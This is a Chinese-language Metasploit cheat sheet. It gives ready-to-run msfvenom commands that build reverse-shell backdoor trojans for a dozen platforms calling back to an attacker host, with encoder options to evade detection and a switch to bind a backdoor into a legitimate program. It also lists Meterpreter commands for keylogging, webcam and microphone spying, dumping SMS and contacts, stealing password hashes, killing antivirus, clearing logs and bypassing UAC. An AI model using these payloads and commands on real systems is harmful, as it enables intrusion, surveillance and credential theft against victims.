主模块modules
auxiliary:辅助模块,辅助渗透(端口扫描、密码爆破、漏洞验证等) exploits:漏洞利用模块,包含主流的漏洞利用脚本 payloads:攻击载荷,攻击成功后在目标机器执行的代码 post:后渗透阶段模块,漏洞利用获得meterpreter之后,向目标发送的一些功能性指令,如提权等 encoders:编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检查和过滤系统 evasion:躲避模块,生成免杀payload nops:调整shellcode前置nop指令长度的工具
msfvenom
常用于生成后门木马
常用参数 功能 -l 列出指定模块的所有可用资源,模块类型包括payloads,nops,encoders,all -p 指定需要使用的payload -f 指定输出格式,如exe、war、sh等 -e 指定需要使用的encoder编码 -a 指定payload的目标架构,如x86、x64、windows、java、linux -o 保存payload文件输出 -b 设定规避字符集,如避免使用’\x00\xff’ -n 为payload预先指定一个NOP滑动长度 -s 设定生成payload的最大长度,即文件大小 -i 指定payload的编码次数 -c 指定一个附加的win32 shellcode文件 -x 指定一个可执行文件作为模板,可将后门捆绑到正常程序上 -k 保护模板程序的动作,注入的payload作为以一个新的进程运行 -v 指定一个自定义的变量,确定输出格式
各平台生成payload命令
平台 命令 Windows msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’ -i 10 -f exe -o payload.exe Mac msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -f macho -o payload.macho Android msfvenom -p android/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -o payload.apk Powershell msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1 Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -f elf -o payload.elf php msfvenom -p php/meterpreter_reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -f raw > shell.php war msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -f raw - o payload.war nodejs msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -f raw -o payload.js python msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -f raw -o payload.py lua msfvenom -p cmd/unix/reverse_lua LHOST=攻击机ip LPORT=攻击机监听端口 -f raw -o payload.lua ruby msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -f raw -o payload.rb
msfconsole
scanner
查找主机探测模块:search scanner type:auxiliary
基于ARP发现内网存活主机 基于UDP发现内网存活主机 基于smb发现内网存活主机 发现FTP服务 发现HTTP服务
handler
使用监控模块:use exploit/multi/handler 设置payload:set payload {payload} 设置监听机ip:set lhost {ip} 设置监听端口:set lport {port} 以上设置需与msfvenom生成木马所使用的配置一致
检查选项配置:show options 开始监控:run
Meterpreter
Meterpreter作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后返回一个能控制的通道,可远程执行命令
基本命令
命令 作用 background 把meterpreter后台挂起 sessions -i 恢复指定的meterpreter脚本 bgkill 杀死一个meterpreter脚本 bglist 提供所有正在运行的后台脚本的列表 bgrun 后台执行meterpreter脚本 channel 显示活动频道 close 关闭通道 exit 终止meterpreter会话 quit 终止meterpreter会话 interact 切换进一个信道 run 执行meterpreter脚本 read 从通道读取数据 write 将数据写入到一个通道 irb 进入 Ruby 脚本模式 use 加载 meterpreter 的扩展
文件交互命令
命令 作用 cat 读取文件内容 cd 切换靶机目录 cp 复制文件到目标 mv 移动到目标 chmod 修改文件权限 del / rm 删除靶机文件 dir 打印靶机目录 mkdir 在靶机上创建目录 rmdir 删除靶机目录 edit 编辑文件 getlwd 打印本地目录 getwd 打印靶机目录 lcd 更改本地目录 lls 列出本地目录 ls 列出靶机文件目录 lpwd 打印本地工作目录 pwd 打印靶机工作目录 search 搜索文件 upload 本地传文件到靶机 download 从靶机下载文件到本地
常用命令
Android常用命令
命令 作用 dump_contacts 获取通讯录 dump_sms 获取短信记录 send_sms 发送短信 geolocate 获取GPS定位信息 wlan_geolocate 获取Wi-Fi定位信息 record_mic 录音 webcam_list 获取相机设备 webcam_snap 拍照 webcam_stream 直播摄像头
windows常用命令
命令 作用 sysinfo 查看系统信息 route 查看网络设置 getuid 查看当前权限 getsystem 自动提权 clearev SYSTEM权限下清除日志 screenshot 截取屏幕图片 webcam_snap 拍照 webcam_stream 直播摄像头 record_mic 录音 keyscan_start 启动键盘记录 keyscan_dump 导出键盘 keyscan_stop 停止键盘记录 run hashdump SYSTEM权限下导出当前用户密码哈希 run post/windows/gather/smart_hashdump SYSTEM权限下导出SAM数据库中的本地用户账号 run getgui -u 用户名 -p 密码 创建一个用户 run post/windows/gather/checkvm 查看是否为虚拟机 run post/windows/manage/killav 关闭杀毒软件 run post/windows/manage/enable_rdp 启动远程桌面协议 run post/windows/gather/enum_logged_on_users 列举当前登录的用户 run post/windows/gather/enum_applications 查看安装的应用信息 run windows/gather/credentials/windows_autologin 抓取自动登录的用户名和密码
msf模块提权(windows)
把当前权限不足的meterpreter挂起:background msfconsle中输入search bypassuac查看提权模块 选择一个适合当前系统的提权模块 use exploit/windows/local/bypassuac_windows_store_reg use exploit/windows/local/bypassuac_sluihijack use exploit/windows/local/bypassuac_dotnet_profiler 配置模块使用参数:show options 配置session为挂起的meterpreter的id:set session id 执行提权:run 获取到meterpreter后,getuid 看提权是否成功,不成功则输入getsystem 获取权限